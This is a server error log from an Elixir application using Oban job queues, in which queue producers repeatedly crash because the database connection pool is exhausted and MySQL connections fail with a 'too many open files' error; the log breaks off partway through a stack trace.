State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:34:39.243042Z], limit: 10, uuid: "465e87c1-49e8-4c63-8606-288dc7cfe925", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.243049Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.252811>, refresh_timer: #Reference<0.2525715032.1077411843.252776>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:34:39.237913Z], limit: 20, uuid: "f559d144-4b1f-4485-8e76-6cda18dea821", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.237918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17052>, refresh_timer: #Reference<0.2525715032.1077411843.252768>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:34:39.243698Z], limit: 5, uuid: "dc8e0acb-508d-4139-8fd8-4ba7e6c24498", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.243704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17050>, refresh_timer: #Reference<0.2525715032.1068498948.17033>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:34:39.245858Z], limit: 50, uuid: "6151d138-9e1a-4d87-994a-b90c11903332", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.245863Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17054>, refresh_timer: #Reference<0.2525715032.1077411843.252808>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:51.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:34:39.243742Z], limit: 3, uuid: "f7a6ccf3-d3c7-4fd0-aff8-40cf12aee3ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.243747Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17051>, refresh_timer: #Reference<0.2525715032.1068498948.17042>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:34:39.237630Z], limit: 5, uuid: "d0c49aae-1746-4306-9d50-0c2f047c5a93", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:39.237636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17053>, refresh_timer: #Reference<0.2525715032.1077411843.252759>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:34:52.529000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:54.705000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:57.207000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:34:58.287000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:00.712000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:02.521000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:03.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:35:03.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:34:51.239958Z], limit: 5, uuid: "69849996-73a2-4d41-b0a6-000cd70890d5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239963Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17432>, refresh_timer: #Reference<0.2525715032.1077411843.252920>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:34:51.239767Z], limit: 20, uuid: "6b58eb21-cca2-4b4a-a27d-e3e4f06279bf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239772Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17428>, refresh_timer: #Reference<0.2525715032.1068498948.17411>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:34:51.239636Z], limit: 5, uuid: "9029148e-494b-48eb-8307-67bbab7a816d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:34:51.239641Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.17430>, refresh_timer: #Reference<0.2525715032.1068498948.17408>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:35:03.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
